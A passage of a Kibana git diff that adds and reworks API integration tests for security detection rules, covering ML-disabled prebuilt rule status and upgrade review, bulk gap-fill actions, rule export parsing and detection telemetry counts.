contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { FtrProviderContext } from '../../../../../../ftr_provider_context'; + +export default ({ loadTestFile }: FtrProviderContext): void => { + loadTestFile(require.resolve('./review_upgrade')); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/review_upgrade/review_upgrade.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/review_upgrade/review_upgrade.ts new file mode 100644 index 0000000000000..a6a881f7fad77 --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/review_upgrade/review_upgrade.ts @@ -0,0 +1,138 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import expect from 'expect'; +import { FtrProviderContext } from '../../../../../../ftr_provider_context'; +import { + createPrebuiltRuleAssetSavedObjects, + createRuleAssetSavedObjectOfType, + deleteAllPrebuiltRuleAssets, + reviewPrebuiltRulesToUpgrade, +} from '../../../../utils'; +import { deleteAllRules } from '../../../../../../../common/utils/security_solution'; +import { createMlRuleThroughAlertingEndpoint } from '../utils'; +import { setUpRuleUpgrade } from '../../../../utils/rules/prebuilt_rules/set_up_rule_upgrade'; + +export default ({ getService }: FtrProviderContext): void => { + const es = getService('es'); + const supertest = getService('supertest'); + const log = getService('log'); + const config = getService('config'); + const basic = config.get('esTestCluster.license') === 'basic'; + const deps = { + es, + supertest, + log, + }; + + describe('@ess @serverless @skipInServerlessMKI Prebuilt rules upgrade review', () => { + beforeEach(async () => { + await deleteAllRules(supertest, log); + await deleteAllPrebuiltRuleAssets(es, log); + }); + + const ruleId = 'ml-rule'; + + describe(`rule is excluded from response`, function () { + if (basic) { + this.tags('skipFIPS'); + } + + it('if target is an ML rule', async () => { + await createMlRuleThroughAlertingEndpoint(supertest, { + ruleId, + version: 1, + }); + + const targetMlRuleAsset = createRuleAssetSavedObjectOfType('machine_learning', { + rule_id: ruleId, + version: 2, + }); + await createPrebuiltRuleAssetSavedObjects(es, [targetMlRuleAsset]); + + const upgradeReviewResult = await reviewPrebuiltRulesToUpgrade(supertest); + expect(upgradeReviewResult).toMatchObject({ + total: 0, + rules: [], + }); + }); + }); + + describe(`rule is included in response`, function () { + it('if current rule is an ML rule, but target is a non-ML rule', async () => { + await createMlRuleThroughAlertingEndpoint(supertest, { + ruleId, + version: 1, + }); + + const targetRuleAsset = createRuleAssetSavedObjectOfType('query', { + rule_id: ruleId, + version: 2, + }); + await createPrebuiltRuleAssetSavedObjects(es, [targetRuleAsset]); + + const upgradeReviewResult = await reviewPrebuiltRulesToUpgrade(supertest); + expect(upgradeReviewResult).toMatchObject({ + total: 1, + rules: [ + { + current_rule: { + rule_id: ruleId, + type: 'machine_learning', + version: 1, + }, + target_rule: { + rule_id: ruleId, + type: 'query', + version: 2, + }, + }, + ], + }); + }); + + it('if both current and target are non-ML rules', async () => { + await setUpRuleUpgrade({ + assets: { + installed: { + type: 'query', + rule_id: ruleId, + version: 1, + }, + upgrade: { + type: 'query', + rule_id: ruleId, + version: 2, + }, + patch: {}, + }, + deps, + }); + + const upgradeReviewResult = await reviewPrebuiltRulesToUpgrade(supertest); + + expect(upgradeReviewResult).toMatchObject({ + total: 1, + rules: [ + { + current_rule: { + rule_id: ruleId, + type: 'query', + version: 1, + }, + target_rule: { + rule_id: ruleId, + type: 'query', + version: 2, + }, + }, + ], + }); + }); + }); + }); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/status/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/status/index.ts new file mode 100644 index 0000000000000..75f8b0fa5eed1 --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/status/index.ts @@ -0,0 +1,12 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { FtrProviderContext } from '../../../../../../ftr_provider_context'; + +export default ({ loadTestFile }: FtrProviderContext): void => { + loadTestFile(require.resolve('./status')); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/status/status.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/status/status.ts new file mode 100644 index 0000000000000..895071b84a4b1 --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/status/status.ts @@ -0,0 +1,73 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import expect from 'expect'; +import { FtrProviderContext } from '../../../../../../ftr_provider_context'; +import { + createPrebuiltRuleAssetSavedObjects, + createRuleAssetSavedObjectOfType, + deleteAllPrebuiltRuleAssets, + getPrebuiltRulesStatus, +} from '../../../../utils'; +import { deleteAllRules } from '../../../../../../../common/utils/security_solution'; +import { createMlRuleThroughAlertingEndpoint } from '../utils'; + +export default ({ getService }: FtrProviderContext): void => { + const es = getService('es'); + const supertest = getService('supertest'); + const log = getService('log'); + const config = getService('config'); + const basic = config.get('esTestCluster.license') === 'basic'; + + describe('@ess @serverless @skipInServerlessMKI Prebuilt rules status', function () { + if (basic) { + this.tags('skipFIPS'); + } + + beforeEach(async () => { + await deleteAllRules(supertest, log); + await deleteAllPrebuiltRuleAssets(es, log); + }); + + it('ML rules are not counted towards installable rules', async () => { + const mlRuleAsset = createRuleAssetSavedObjectOfType('machine_learning', { + version: 1, + }); + await createPrebuiltRuleAssetSavedObjects(es, [mlRuleAsset]); + + const statusResponse = await getPrebuiltRulesStatus(es, supertest); + expect(statusResponse).toMatchObject({ + stats: { + num_prebuilt_rules_to_install: 0, + num_prebuilt_rules_total_in_package: 1, + }, + }); + }); + + it('ML rules are not counted towards upgradable rules', async () => { + await createMlRuleThroughAlertingEndpoint(supertest, { + ruleId: 'ml-rule', + version: 1, + }); + + const targetMlRuleAsset = createRuleAssetSavedObjectOfType('machine_learning', { + rule_id: 'ml-rule', + version: 2, + }); + await createPrebuiltRuleAssetSavedObjects(es, [targetMlRuleAsset]); + + const statusResponse = await getPrebuiltRulesStatus(es, supertest); + expect(statusResponse).toMatchObject({ + stats: { + num_prebuilt_rules_to_upgrade: 0, + num_prebuilt_rules_installed: 1, + num_prebuilt_rules_total_in_package: 1, + }, + }); + }); + }); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/utils.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/utils.ts new file mode 100644 index 0000000000000..c2f86183a0d1f --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/ml_disabled/utils.ts @@ -0,0 +1,62 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type SuperTest from 'supertest'; +import { ML_RULE_TYPE_ID } from '@kbn/securitysolution-rules'; +import { RuleParamsWithDefaultValue } from '@kbn/response-ops-rule-params'; +import { CreateRuleRequestBody } from '@kbn/alerting-plugin/common/routes/rule/apis/create'; +import { createRuleThroughAlertingEndpoint } from '../../../utils'; + +/** + * Creates a machine learning rule through the alerting endpoint. + * Useful during testing under Basic and Essential licenses, as the DE rule creation API does not permit the creation of ML rules under those licenses. + */ +export async function createMlRuleThroughAlertingEndpoint( + supertest: SuperTest.Agent, + paramsOverride: Partial = {} +): Promise { + const params: RuleParamsWithDefaultValue = { + alertSuppression: undefined, + anomalyThreshold: 50, + author: [], + description: 'rule', + exceptionsList: [], + falsePositives: [], + from: 'now-5m', + immutable: true, + machineLearningJobId: ['ml-rule-job'], + outputIndex: '', + references: [], + responseActions: undefined, + riskScore: 1, + riskScoreMapping: [], + ruleId: 'ml-rule', + severity: 'low', + severityMapping: [], + threat: [], + to: 'now', + type: 'machine_learning', + version: 1, + ...paramsOverride, + }; + + const body: CreateRuleRequestBody = { + actions: [], + consumer: 'siem', + enabled: false, + name: 'Test ML rule', + params, + rule_type_id: ML_RULE_TYPE_ID, + schedule: { + interval: '5m', + }, + tags: [], + throttle: null, + }; + + await createRuleThroughAlertingEndpoint(supertest, body); +} diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_bulk_actions/trial_license_complete_tier/perform_bulk_action.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_bulk_actions/trial_license_complete_tier/perform_bulk_action.ts index 5b097eef2fddd..1b00e9fd67280 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_bulk_actions/trial_license_complete_tier/perform_bulk_action.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_bulk_actions/trial_license_complete_tier/perform_bulk_action.ts @@ -91,7 +91,8 @@ export default ({ getService }: FtrProviderContext): void => { const createWebHookConnector = () => createConnector(getWebHookAction()); const createSlackConnector = () => createConnector(getSlackAction()); - describe('@ess @serverless @skipInServerless perform_bulk_action', () => { + // Failing: See https://github.com/elastic/kibana/issues/224615 + describe.skip('@ess @serverless @skipInServerless perform_bulk_action', () => { beforeEach(async () => { await deleteAllRules(supertest, log); await esArchiver.load('x-pack/test/functional/es_archives/auditbeat/hosts'); @@ -2625,8 +2626,10 @@ export default ({ getService }: FtrProviderContext): void => { { rule: { id: string; name: string }; gapEvents: GapFromEvent[] } >; - const backfillStart = new Date(Date.now() - 89 * 24 * 60 * 60 * 1000); - const backfillEnd = new Date(); + let backfillStart: Date; + let backfillEnd: Date; + let createdRules: Array>>; + let createdRuleIds: string[]; const resetEverything = async () => { await deleteAllGaps(es); @@ -2636,7 +2639,7 @@ export default ({ getService }: FtrProviderContext): void => { afterEach(resetEverything); beforeEach(async () => { - generatedGapEvents = {}; + createdRules = []; for (let idx = 0; idx < totalRules; idx++) { const rule = await createRule( @@ -2650,94 +2653,217 @@ export default ({ getService }: FtrProviderContext): void => { 'default' ); - const { gapEvents } = await generateGapsForRule(es, rule, 100); - generatedGapEvents[rule.id] = { - rule, - gapEvents: gapEvents.map((gapEvent) => { - if (!gapEvent._id) { - throw new Error('generated gap event id cannot be undefined'); - } - return { ...gapEvent.kibana.alert.rule.gap, _id: gapEvent._id }; - }), - }; + createdRules.push(rule); + + backfillEnd = new Date(); + backfillStart = new Date(backfillEnd.getTime() - 24 * 60 * 60 * 1000); } + + createdRuleIds = createdRules.map(({ id }) => id); }); - it('should trigger the backfilling of the gaps for the rules in the request', async () => { - // Only backfill the first 2 rules - const ruleIdsToBackfill = Object.keys(generatedGapEvents).slice(0, 2); + describe('scheduling gap fills for rules', () => { + beforeEach(async () => { + generatedGapEvents = {}; + for (const rule of createdRules) { + const { gapEvents } = await generateGapsForRule(es, rule, 100); + generatedGapEvents[rule.id] = { + rule, + gapEvents: gapEvents.map((gapEvent) => { + if (!gapEvent._id) { + throw new Error('generated gap event id cannot be undefined'); + } + return { ...gapEvent.kibana.alert.rule.gap, _id: gapEvent._id }; + }), + }; + } - // Trigger the backfill for the selected rules - const { body } = await securitySolutionApi - .performRulesBulkAction({ - query: {}, - body: { - ids: ruleIdsToBackfill, - action: BulkActionTypeEnum.fill_gaps, - [BulkActionTypeEnum.fill_gaps]: { - start_date: backfillStart.toISOString(), - end_date: backfillEnd.toISOString(), + let earliest = Date.now(); + let latest = 0; + + Object.values(generatedGapEvents).forEach(({ gapEvents }) => { + gapEvents + .flatMap((event) => event.unfilled_intervals) + .forEach(({ gte, lte }) => { + earliest = Math.min(earliest, new Date(gte).getTime()); + latest = Math.max(latest, new Date(lte).getTime()); + }); + }); + + backfillEnd = new Date(latest); + backfillStart = new Date(earliest); + }); + + it('should trigger the scheduling of gap fills for the rules in the request', async () => { + // Only backfill the first 2 rules + const ruleIdsToBackfill = Object.keys(generatedGapEvents).slice(0, 2); + + // Trigger the backfill for the selected rules + const { body } = await securitySolutionApi + .performRulesBulkAction({ + query: {}, + body: { + ids: ruleIdsToBackfill, + action: BulkActionTypeEnum.fill_gaps, + [BulkActionTypeEnum.fill_gaps]: { + start_date: backfillStart.toISOString(), + end_date: backfillEnd.toISOString(), + }, }, - }, - }) - .expect(200); + }) + .expect(200); - expect(body.success).toEqual(true); - expect(body.attributes.summary).toEqual({ - failed: 0, - succeeded: 2, - skipped: 0, - total: 2, + expect(body.success).toEqual(true); + expect(body.attributes.summary).toEqual({ + failed: 0, + succeeded: 2, + skipped: 0, + total: 2, + }); + + const expectedUpdatedRules = Object.values(generatedGapEvents) + .slice(0, 2) + .map((event) => event.rule); + + expect(body.attributes.results).toEqual({ + updated: expect.arrayContaining( + expectedUpdatedRules.map((expected) => expect.objectContaining(expected)) + ), + created: [], + deleted: [], + skipped: [], + }); + + for (const ruleId of ruleIdsToBackfill) { + const fetchedGaps = await getGapsByRuleId( + supertest, + ruleId, + { start: backfillStart.toISOString(), end: backfillEnd.toISOString() }, + 100 + ); + + const generatedGaps = generatedGapEvents[ruleId].gapEvents; + + // Verify that every single gap is marked as in progress + generatedGaps.forEach((generatedGap) => { + const fetchedGap = fetchedGaps.find(({ _id }) => _id === generatedGap._id); + expect(fetchedGap?.unfilled_intervals).toEqual([]); + expect(fetchedGap?.in_progress_intervals).toEqual(generatedGap.unfilled_intervals); + }); + } + + // For the rules we didn't backfill, verify that their gaps are still unfilled + for (const ruleId of Object.keys(generatedGapEvents).slice(2)) { + const fetchedGaps = await getGapsByRuleId( + supertest, + ruleId, + { start: backfillStart.toISOString(), end: backfillEnd.toISOString() }, + 100 + ); + + const generatedGaps = generatedGapEvents[ruleId].gapEvents; + + generatedGaps.forEach((generatedGap) => { + const fetchedGap = fetchedGaps.find(({ _id }) => _id === generatedGap._id); + expect(fetchedGap?.unfilled_intervals).toEqual(generatedGap.unfilled_intervals); + expect(fetchedGap?.in_progress_intervals).toEqual([]); + }); + } }); - const expectedUpdatedRules = Object.values(generatedGapEvents) - .slice(0, 2) - .map((event) => event.rule); + it('should return 500 error if some rules do not exist', async () => { + const existentRules = createdRuleIds; + const nonExistentRule = 'non-existent-rule'; + const { body } = await securitySolutionApi + .performRulesBulkAction({ + query: {}, + body: { + ids: [...existentRules, nonExistentRule], + action: BulkActionTypeEnum.fill_gaps, + [BulkActionTypeEnum.fill_gaps]: { + start_date: backfillStart.toISOString(), + end_date: backfillEnd.toISOString(), + }, + }, + }) + .expect(500); - expect(body.attributes.results).toEqual({ - updated: expect.arrayContaining( - expectedUpdatedRules.map((expected) => expect.objectContaining(expected)) - ), - created: [], - deleted: [], - skipped: [], + expect(body.attributes.summary).toEqual({ + failed: 1, + skipped: 0, + succeeded: existentRules.length, + total: existentRules.length + 1, + }); + + expect(body.attributes.errors).toHaveLength(1); + expect(body.attributes.errors[0]).toEqual({ + message: 'Rule not found', + status_code: 500, + rules: [ + { + id: nonExistentRule, + }, + ], + }); }); - for (const ruleId of ruleIdsToBackfill) { - const fetchedGaps = await getGapsByRuleId( + it('should return 500 error if some rules are disabled', async () => { + const enabledRules = createdRuleIds; + const disabledRule = await createRule( supertest, - ruleId, - { start: backfillStart.toISOString(), end: backfillEnd.toISOString() }, - 100 + log, + getCustomQueryRuleParams({ + rule_id: 'rule-disabled', + enabled: false, + interval, + }) ); - const generatedGaps = generatedGapEvents[ruleId].gapEvents; + await generateGapsForRule(es, disabledRule, 100); - // Verify that every single gap is marked as in progress - generatedGaps.forEach((generatedGap) => { - const fetchedGap = fetchedGaps.find(({ _id }) => _id === generatedGap._id); - expect(fetchedGap?.unfilled_intervals).toEqual([]); - expect(fetchedGap?.in_progress_intervals).toEqual(generatedGap.unfilled_intervals); + const { body } = await securitySolutionApi + .performRulesBulkAction({ + query: {}, + body: { + ids: [...enabledRules, disabledRule.id], + action: BulkActionTypeEnum.fill_gaps, + [BulkActionTypeEnum.fill_gaps]: { + start_date: backfillStart.toISOString(), + end_date: backfillEnd.toISOString(), + }, + }, + }) + .expect(500); + + expect(body.attributes.summary).toEqual({ + failed: 1, + skipped: 0, + succeeded: enabledRules.length, + total: enabledRules.length + 1, }); - } - // For the rules we didn't backfill, verify that their gaps are still unfilled - for (const ruleId of Object.keys(generatedGapEvents).slice(2)) { - const fetchedGaps = await getGapsByRuleId( - supertest, - ruleId, - { start: backfillStart.toISOString(), end: backfillEnd.toISOString() }, - 100 + expect(body.attributes.errors).toHaveLength(1); + expect(body.attributes.errors).toEqual( + expect.arrayContaining([ + { + message: 'Cannot bulk fill gaps for a disabled rule', + status_code: 500, + err_code: 'RULE_FILL_GAPS_DISABLED_RULE', + rules: [{ id: disabledRule.id, name: disabledRule.name }], + }, + ]) ); - const generatedGaps = generatedGapEvents[ruleId].gapEvents; - - generatedGaps.forEach((generatedGap) => { - const fetchedGap = fetchedGaps.find(({ _id }) => _id === generatedGap._id); - expect(fetchedGap?.unfilled_intervals).toEqual(generatedGap.unfilled_intervals); - expect(fetchedGap?.in_progress_intervals).toEqual([]); + const expectedUpdatedRules = Object.values(generatedGapEvents).map((event) => event.rule); + expect(body.attributes.results).toEqual({ + updated: expect.arrayContaining( + expectedUpdatedRules.map((expected) => expect.objectContaining(expected)) + ), + created: [], + deleted: [], + skipped: [], }); - } + }); }); it('should return 400 error when the end date is not strictly greater than the start date', async () => { @@ -2745,7 +2871,7 @@ export default ({ getService }: FtrProviderContext): void => { .performRulesBulkAction({ query: {}, body: { - ids: Object.keys(generatedGapEvents), + ids: createdRuleIds, action: BulkActionTypeEnum.fill_gaps, [BulkActionTypeEnum.fill_gaps]: { start_date: backfillStart.toISOString(), @@ -2763,7 +2889,7 @@ export default ({ getService }: FtrProviderContext): void => { .performRulesBulkAction({ query: {}, body: { - ids: Object.keys(generatedGapEvents), + ids: createdRuleIds, action: BulkActionTypeEnum.fill_gaps, [BulkActionTypeEnum.fill_gaps]: { start_date: new Date(Date.now() + 1000).toISOString(), @@ -2781,7 +2907,7 @@ export default ({ getService }: FtrProviderContext): void => { .performRulesBulkAction({ query: {}, body: { - ids: Object.keys(generatedGapEvents), + ids: createdRuleIds, action: BulkActionTypeEnum.fill_gaps, [BulkActionTypeEnum.fill_gaps]: { start_date: backfillStart.toISOString(), @@ -2799,7 +2925,7 @@ export default ({ getService }: FtrProviderContext): void => { .performRulesBulkAction({ query: {}, body: { - ids: Object.keys(generatedGapEvents), + ids: createdRuleIds, action: BulkActionTypeEnum.fill_gaps, [BulkActionTypeEnum.fill_gaps]: { start_date: new Date( @@ -2813,100 +2939,6 @@ export default ({ getService }: FtrProviderContext): void => { expect(body.message).toContain('Backfill cannot look back more than 90 days'); }); - - it('should return 500 error if some rules do not exist', async () => { - const existentRules = Object.keys(generatedGapEvents); - const nonExistentRule = 'non-existent-rule'; - const { body } = await securitySolutionApi - .performRulesBulkAction({ - query: {}, - body: { - ids: [...existentRules, nonExistentRule], - action: BulkActionTypeEnum.fill_gaps, - [BulkActionTypeEnum.fill_gaps]: { - start_date: backfillStart.toISOString(), - end_date: backfillEnd.toISOString(), - }, - }, - }) - .expect(500); - - expect(body.attributes.summary).toEqual({ - failed: 1, - skipped: 0, - succeeded: existentRules.length, - total: existentRules.length + 1, - }); - - expect(body.attributes.errors).toHaveLength(1); - expect(body.attributes.errors[0]).toEqual({ - message: 'Rule not found', - status_code: 500, - rules: [ - { - id: nonExistentRule, - }, - ], - }); - }); - - it('should return 500 error if some rules are disabled', async () => { - const enabledRules = Object.keys(generatedGapEvents); - const disabledRule = await createRule( - supertest, - log, - getCustomQueryRuleParams({ - rule_id: 'rule-disabled', - enabled: false, - interval, - }) - ); - - await generateGapsForRule(es, disabledRule, 100); - - const { body } = await securitySolutionApi - .performRulesBulkAction({ - query: {}, - body: { - ids: [...enabledRules, disabledRule.id], - action: BulkActionTypeEnum.fill_gaps, - [BulkActionTypeEnum.fill_gaps]: { - start_date: backfillStart.toISOString(), - end_date: backfillEnd.toISOString(), - }, - }, - }) - .expect(500); - - expect(body.attributes.summary).toEqual({ - failed: 1, - skipped: 0, - succeeded: enabledRules.length, - total: enabledRules.length + 1, - }); - - expect(body.attributes.errors).toHaveLength(1); - expect(body.attributes.errors).toEqual( - expect.arrayContaining([ - { - message: 'Cannot bulk fill gaps for a disabled rule', - status_code: 500, - err_code: 'RULE_FILL_GAPS_DISABLED_RULE', - rules: [{ id: disabledRule.id, name: disabledRule.name }], - }, - ]) - ); - - const expectedUpdatedRules = Object.values(generatedGapEvents).map((event) => event.rule); - expect(body.attributes.results).toEqual({ - updated: expect.arrayContaining( - expectedUpdatedRules.map((expected) => expect.objectContaining(expected)) - ), - created: [], - deleted: [], - skipped: [], - }); - }); }); describe('overwrite_data_views', () => { diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_import_export/basic_license_essentials_tier/export_rules.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_import_export/basic_license_essentials_tier/export_rules.ts index e64cc2e78a6e2..5b8cc2cb3f384 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_import_export/basic_license_essentials_tier/export_rules.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/rule_import_export/basic_license_essentials_tier/export_rules.ts @@ -9,8 +9,9 @@ import expect from 'expect'; import { BaseDefaultableFields } from '@kbn/security-solution-plugin/common/api/detection_engine'; import { FtrProviderContext } from '../../../../../ftr_provider_context'; -import { binaryToString, getCustomQueryRuleParams } from '../../../utils'; +import { binaryToString, getCustomQueryRuleParams, parseNdJson } from '../../../utils'; import { deleteAllRules } from '../../../../../../common/utils/security_solution'; + export default ({ getService }: FtrProviderContext): void => { const supertest = getService('supertest'); const log = getService('log'); @@ -44,11 +45,46 @@ export default ({ getService }: FtrProviderContext): void => { .expect(200) .parse(binaryToString); - const exportedRule = JSON.parse(body.toString().split(/\n/)[0]); + const [exportedRule] = parseNdJson(body); expect(exportedRule).toMatchObject(ruleToExport); }); + it('exports a set of custom rules via the _export API', async () => { + await Promise.all([ + securitySolutionApi + .createRule({ body: getCustomQueryRuleParams({ rule_id: 'rule-id-1' }) }) + .expect(200), + securitySolutionApi + .createRule({ body: getCustomQueryRuleParams({ rule_id: 'rule-id-2' }) }) + .expect(200), + ]); + + const { body: exportResult } = await securitySolutionApi + .exportRules({ query: {}, body: null }) + .expect(200) + .parse(binaryToString); + + const ndJson = parseNdJson(exportResult); + + expect(ndJson).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: 'rule-id-1', + rule_source: { + type: 'internal', + }, + }), + expect.objectContaining({ + rule_id: 'rule-id-2', + rule_source: { + type: 'internal', + }, + }), + ]) + ); + }); + it('should export defaultable fields when values are set', async () => { const defaultableFields: BaseDefaultableFields = { max_signals: 200, @@ -80,7 +116,7 @@ export default ({ getService }: FtrProviderContext): void => { .expect(200) .parse(binaryToString); - const exportedRule = JSON.parse(body.toString().split(/\n/)[0]); + const [exportedRule] = parseNdJson(body); expect(exportedRule).toMatchObject(expectedRule); }); @@ -95,7 +131,7 @@ export default ({ getService }: FtrProviderContext): void => { .expect(200) .parse(binaryToString); - const exportSummary = JSON.parse(body.toString().split(/\n/)[1]); + const [, exportSummary] = parseNdJson(body); expect(exportSummary).toMatchObject({ exported_exception_list_count: 0, @@ -117,8 +153,7 @@ export default ({ getService }: FtrProviderContext): void => { .expect(200) .parse(binaryToString); - const exportedRule1 = JSON.parse(body.toString().split(/\n/)[0]); - const exportedRule2 = JSON.parse(body.toString().split(/\n/)[1]); + const [exportedRule1, exportedRule2] = parseNdJson(body); expect([exportedRule1, exportedRule2]).toEqual( expect.arrayContaining([ diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/index.ts index 0425b6971d78e..456ba9d054197 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/index.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/index.ts @@ -10,6 +10,8 @@ export default ({ loadTestFile }: FtrProviderContext): void => { describe('Detections Response - Detection rule type telemetry', function () { loadTestFile(require.resolve('./usage_collector/all_types')); loadTestFile(require.resolve('./usage_collector/detection_rules')); + loadTestFile(require.resolve('./usage_collector/exceptions_metrics')); + loadTestFile(require.resolve('./usage_collector/value_list_metrics')); loadTestFile(require.resolve('./usage_collector/detection_rule_status')); loadTestFile(require.resolve('./usage_collector/detection_rules_legacy_action')); diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/detection_rules.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/detection_rules.ts index 44952256dd286..c5fe738857467 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/detection_rules.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/telemetry/trial_license_complete_tier/usage_collector/detection_rules.ts @@ -14,6 +14,8 @@ import type { import { getInitialDetectionMetrics } from '@kbn/security-solution-plugin/server/usage/detections/get_initial_usage'; import { ELASTIC_SECURITY_RULE_ID } from '@kbn/security-solution-plugin/common'; import { RulesTypeUsage } from '@kbn/security-solution-plugin/server/usage/detections/rules/types'; +import { DETECTION_ENGINE_RULES_URL } from '@kbn/security-solution-plugin/common/constants'; +import { CreateRuleExceptionListItemSchema } from '@kbn/securitysolution-io-ts-list-types'; import { createLegacyRuleAction, createWebHookRuleAction, @@ -42,9 +44,24 @@ import { waitForAlertsToBePresent, getRuleForAlertTesting, } from '../../../../../../common/utils/security_solution'; +import { deleteAllExceptions } from '../../../../lists_and_exception_lists/utils'; import { FtrProviderContext } from '../../../../../ftr_provider_context'; +const getRuleExceptionItemMock = (): CreateRuleExceptionListItemSchema => ({ + description: 'Exception item for rule default exception list', + entries: [ + { + field: 'some.not.nested.field', + operator: 'included', + type: 'match', + value: 'some value', + }, + ], + name: 'Sample exception item', + type: 'simple', +}); + export default ({ getService }: FtrProviderContext) => { const supertest = getService('supertest'); const esArchiver = getService('esArchiver'); @@ -65,10 +82,12 @@ export default ({ getService }: FtrProviderContext) => { beforeEach(async () => { await createAlertsIndex(supertest, log); + await deleteAllExceptions(supertest, log); }); afterEach(async () => { await deleteAllAlerts(supertest, log, es); + await deleteAllExceptions(supertest, log); await deleteAllRules(supertest, log); await deleteAllEventLogExecutionEvents(es, log); }); @@ -90,6 +109,15 @@ export default ({ getService }: FtrProviderContext) => { legacy_notifications_enabled: 0, legacy_investigation_fields: 0, }, + query_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.query_custom, + disabled: 1, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_notifications_disabled: 0, + legacy_notifications_enabled: 0, + legacy_investigation_fields: 0, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -123,6 +151,16 @@ export default ({ getService }: FtrProviderContext) => { legacy_notifications_enabled: 0, legacy_investigation_fields: 0, }, + query_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.query_custom, + enabled: 1, + alerts: 4, + notifications_enabled: 0, + notifications_disabled: 0, + legacy_notifications_disabled: 0, + legacy_notifications_enabled: 0, + legacy_investigation_fields: 0, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, enabled: 1, @@ -153,6 +191,11 @@ export default ({ getService }: FtrProviderContext) => { notifications_disabled: 1, disabled: 1, }, + query_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.query, + notifications_disabled: 1, + disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, notifications_disabled: 1, @@ -181,6 +224,12 @@ export default ({ getService }: FtrProviderContext) => { alerts: 4, notifications_enabled: 1, }, + query_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.query_custom, + enabled: 1, + alerts: 4, + notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, enabled: 1, @@ -208,6 +257,11 @@ export default ({ getService }: FtrProviderContext) => { disabled: 1, legacy_notifications_disabled: 1, }, + query_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.query_custom, + disabled: 1, + legacy_notifications_disabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, disabled: 1, @@ -236,6 +290,12 @@ export default ({ getService }: FtrProviderContext) => { enabled: 1, legacy_notifications_enabled: 1, }, + query_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.query_custom, + alerts: 4, + enabled: 1, + legacy_notifications_enabled: 1, + }, custom_total: { ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.custom_total, alerts: 4, @@ -281,6 +341,13 @@ export default ({ getService }: FtrProviderContext) => { disabled: 3, legacy_investigation_fields: 2, }, + query_custom: { + ...getInitialDetectionMetrics().detection_rules.detection_rule_usage.query_custom, + alerts: 0, + enabled: 0, + disabled: 3, + 